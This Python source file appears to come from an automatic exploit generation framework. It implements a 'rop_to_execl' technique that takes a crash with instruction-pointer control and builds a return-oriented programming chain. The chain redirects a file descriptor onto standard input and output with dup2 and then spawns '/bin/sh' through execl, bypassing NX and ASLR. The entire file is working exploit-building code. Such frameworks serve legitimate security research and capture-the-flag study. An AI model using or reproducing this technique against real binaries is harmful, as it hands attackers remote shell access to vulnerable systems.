import logging

from angrop.errors import RopException

from ...vulnerability import Vulnerability
from .. import Exploit, CannotExploit
from ..technique import Technique

l = logging.getLogger("rex.exploit.techniques.rop_to_execl")


class RopToExecl(Technique):

    name = "rop_to_execl"
    applicable_to = ['unix']

    def check(self):
        if self.rop is None:
            self.check_fail_reason("No ROP available.")
            return False

            # can only exploit ip overwrites
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            self.check_fail_reason("Cannot control IP.")
            return False

        # find the address of execl
        execl_addr = self._find_func_address("execl")
        if execl_addr is None:
            self.check_fail_reason("The function execl() could not be found in the binary.")
            return False

        dup2_addr = self._find_func_address("dup2")
        if dup2_addr is None:
            self.check_fail_reason("The function dup2 could not be found in the binary.")
            return False

        return True

    def apply(self, **kwargs):
        our_open_fd = 0
        if 'our_open_fd' in kwargs and kwargs['our_open_fd']:
            our_open_fd = kwargs['our_open_fd']

        # find the address of execl
        execl_addr = self._find_func_address("execl")
        if execl_addr is None:
            raise CannotExploit("[%s] the function execl could not be found in the binary" % self.name)
        dup2_addr = self._find_func_address("dup2")
        if dup2_addr is None:
            raise CannotExploit("[%s] the function dup2 could not be found in the binary" % self.name)

        # get "/bin/sh\x00"
        cmd_str = b'/bin/sh\0'
        cmd_addr = self._find_global_address_for_string(cmd_str)
        if cmd_addr is None:
            raise CannotExploit("[%s] cannot write in /bin/sh" % self.name)

        # craft the caller chain
        try:
            chain = (
                self.rop.func_call(dup2_addr, [our_open_fd, 0]) +
                self.rop.func_call(dup2_addr, [our_open_fd, 1]) +
                self.rop.func_call(dup2_addr, [our_open_fd, 2]) +
                self.rop.write_to_mem(cmd_addr, cmd_str) +
                self.rop.func_call(execl_addr, [cmd_addr, 0])
            )
        except RopException:
            raise CannotExploit("[%s] cannot craft caller chain" % self.name)

        # insert the chain into the binary
        try:
            chain, chain_addr = self._ip_overwrite_with_chain(chain, self.crash.state)
        except CannotExploit:
            raise CannotExploit("[%s] unable to insert chain" % self.name)

        # add the constraint to the state that the chain must exist at the address
        chain_mem = self.crash.state.memory.load(chain_addr, chain.payload_len)
        self.crash.state.add_constraints(chain_mem == self.crash.state.solver.BVV(chain.payload_str()))

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)

        return Exploit(self.crash, bypasses_nx=True, bypasses_aslr=True)
